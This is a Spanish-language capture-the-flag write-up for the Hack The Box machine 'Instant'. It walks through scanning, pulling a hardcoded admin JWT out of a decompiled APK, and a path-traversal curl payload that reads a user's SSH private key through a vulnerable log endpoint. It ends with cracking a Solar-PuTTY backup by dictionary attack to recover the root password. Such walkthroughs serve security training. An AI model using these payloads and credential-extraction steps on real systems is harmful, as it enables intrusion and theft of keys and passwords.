HTB - Instant | (Difficulty Medium) - Linux

Writeup de la máquina de dificultad media Instant de la página https://hackthebox.eu

Publicado 01/03/2025 Actualizado 02/03/2025

Por ju4ncaa

7 min de lectura

HTB - Instant | (Difficulty Medium) - Linux

Useful Skills

Web enumeration
APK analysis
Information lekeage
LFI through vulnerable API endpoint
Decrypt Solar-PuTTY session file

Enumeration

TCP Scan

  
rustscan -a 10.10.11.37 --ulimit 5000 -g
10.10.11.37 -> [22,80]

  
nmap -p22,80 -sCV 10.10.11.37 -oN tcpScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 09:51 CET
Nmap scan report for 10.10.11.37 (10.10.11.37)
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds

UDP Scan

  
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 10.10.11.37 -oN udpScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 09:52 CET
Nmap scan report for 10.10.11.37
Host is up (0.32s latency).
Not shown: 1494 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
17338/udp closed unknown
17787/udp closed unknown
18617/udp closed unknown
19273/udp closed unknown
23073/udp closed unknown
33866/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds

Hay que añadir el dominio instant.htb en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 10.10.11.37

HTTP Enumeration

Whatweb reporta un servidor Apache 2.4.58 y una version de Jquery desactualizada

  
whatweb http://instant.htb
http://instant.htb [200 OK] Apache[2.4.58], Bootstrap[4.0.0], Country[RESERVED][ZZ], Email[support@instant.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.10.11.37], JQuery[3.2.1], Script, Title[Instant Wallet]

Accediendo a la página en http://instant.htb/ puedo observar una página web dedicada al envío de transacciones de dinero, al hacer clic sobre “Download now” se descarga una APK llamada instant.apk

Exploitation

APK Data Exposure

Una vez he descargado la APK, utilizo la herramienta apktool para extraer y descompilar los recursos de la aplicación y poder analizarla

apktool d instant.apk
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Reviso el archivo strings.xml en res/values/strings.xml, donde puede haber información sensible como API keys, endpoints internos, contraseñas, entre otros, pero en este caso no consigo encontrar nada interesante, por ello filtro de forma recursiva por la palabra instant.htb con la finalidad de obtener en que puntos de la aplicación se involucra la cadena.

  
grep -r instant.htb
res/layout/activity_forgot_password.xml:        <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
res/xml/network_security_config.xml:        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
res/xml/network_security_config.xml:        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
smali/com/instantlabs/instant/AdminActivities.smali:    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
smali/com/instantlabs/instant/LoginActivity.smali:    const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
smali/com/instantlabs/instant/RegisterActivity.smali:    const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
smali/com/instantlabs/instant/TransactionActivity.smali:    const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
smali/com/instantlabs/instant/ProfileActivity.smali:    const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
smali/com/instantlabs/instant/TransactionActivity$2.smali:    const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"

Consigo visualizar muchos subdominios, entre ellos uno que me llama la atención el cual es swagger-ui.instant.htb, ya que Swagger UI es una herramienta que permite visualizar, probar e interactuar con APIs desde el navegador, accedo a http://swagger-ui.instant.htb/ donde puedo confirmar mis sospechas.

Hay que añadir el dominio swagger-ui.instant.htb y mywalletv1.instant.htb en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 10.10.11.37

Observo un apartado Logs, el cual es un endpoint de la API /api/v1/admin/read/log, al parecer permite leer los registros de las transacciones de los usuarios especificando el nombre del archivo de registro como parámetro de consulta, a mi se me ocurre intentar apuntar hacia algun archivo local del servidor, como por ejemplo el fichero de usuarios /etc/passwd, al intentar apuntar al mismo obtengo un 401 UNAUTHORIZED, ya que necesito un token de autenticación para realizar las peticiones.

En la búsqueda recursiva de la palabra instant.htb observo un fichero en smali/com/instantlabs/instant/, el cual es AdminActivities.smali, observando el mismo puedo ver un JSON Web Token (JWT)

Me dirijo a https://jwt.io/ para extraer los valores del JWT y observa de que esta compuesto puediendo ver diferentes valores como el rol, ID de cartera entre otras cosas

LFI through API vulnerable endpoint

Utilizo el JWT para autenticarme y arrastrar la autenticación en cada petición a los endpoints

Estando autenticado pruebo nuevamenta a intentar apuntar al archivo local de la máquina /etc/passwd, pero obtengo un codigo de estado 500 Internal Server Error

El error 500 puede ser por que esta intentando apuntar hacia archivos del directorio actual de trabajo, por lo que al retroceder directorios y apuntar al archivo /etc/passwd, consigo visualizar los usuarios del sistema, pudiendo ver que el endpoint /api/v1/admin/read/log es vulnerable a LFI

Filtro por los usuario que como shell usan /bin/bash, solo hay dos usuario root y shirohige, intento visualizar si existe alguna clave id_rsa para autenticarme por SSH como el usuario shirohige y consigo obtenerla

Utilizo la petición curl y trato la respuesta para obtener simplemente la clave id_rsa que es lo que me interesa para acceder al sistema como el usuario shirohige

  
curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F..%2F..%2Fhome%2Fshirohige%2F.ssh%2Fid_rsa" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq '.["/home/shirohige/logs/../../../home/shirohige/.ssh/id_rsa"][]' | tr -d '"' | sed 's/\\n//' > id_rsa

chmod 600 id_rsa

Gain access

Utilzo SSH y la clave id_rsa obtenida para acceder al sistema como el usuario shirohige

  
ssh shirohige@instant.htb -i id_rsa
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar  2 08:36:24 2025 from 10.10.14.12
shirohige@instant:~$

Post exploitation

Privilege escalation

Visualizando archivos donde el usuario shirohige es propietario consigo observar que en /opt/backups existe un archivo sessions-backup.dat de Solar-PuTTY que es una aplicación que permite a los usuarios administrar sesiones remotas y conectarse a cualquier dispositivo en la red

  
shirohige@instant:~$ find / -user shirohige 2>/dev/null | grep -vE "cgroup|shirohige"
/dev/pts/0
/opt/backups
/opt/backups/Solar-PuTTY
/opt/backups/Solar-PuTTY/sessions-backup.dat

  
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat 
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=

Con scp transfiero el archivo sessions-backup.dat a mi máquina local

scp -i id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat .
sessions-backup.dat                                  100% 1100    15.3KB/s   00:00 

Una vez transferido utilizo la herramienta SolarPuTTYDecrypt para intentar desencriptar el archivo sessions-backup.dat a través de un ataque por diccionario

Solar PuTTY Decryptor

  
python3 SolarPuttyDecryptor.py -wl rockyou.txt sessions-backup.dat
✔ Correct password found on line 103:  estrella
🚀🚀🚀🚀🚀
{
    "Sessions": [
        {
            "Id": "066894ee-635c-4578-86d0-d36d4838115b",
            "Ip": "10.10.11.37",
            "Port": 22,
            "ConnectionType": 1,
            "SessionName": "Instant",
            "Authentication": 0,
            "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
            "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
            "LastTimeOpen": "0001-01-01T00:00:00",
            "OpenCounter": 1,
            "SerialLine": null,
            "Speed": 0,
            "Color": "#FF176998",
            "TelnetConnectionWaitSeconds": 1,
            "LoggingEnabled": false,
            "RemoteDirectory": ""
        }
    ],
    "Credentials": [
        {
            "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
            "CredentialsName": "instant-root",
            "Username": "root",
            "Password": "12**24nzC!r0c%q12",
            "PrivateKeyPath": "",
            "Passphrase": "",
            "PrivateKeyContent": null
        }
    ],
    "AuthScript": [],
    "Groups": [],
    "Tunnels": [],
    "LogsFolderDestination": "C:__ProgramData__SolarWinds__Logs__Solar-PuTTY__SessionLogs"
}

Consigo descifrar el archivo sessions-backup.dat puediendo obtener la contraseña del usuario root, la cual es 12**24nzC!r0c%q12, por lo que migro el usuario root.

shirohige@instant:~$ su root
Password: 
root@instant:/home/shirohige# whoami
root

Writeup, Hack the Box

Esta entrada está licenciada bajo CC BY 4.0 por el autor.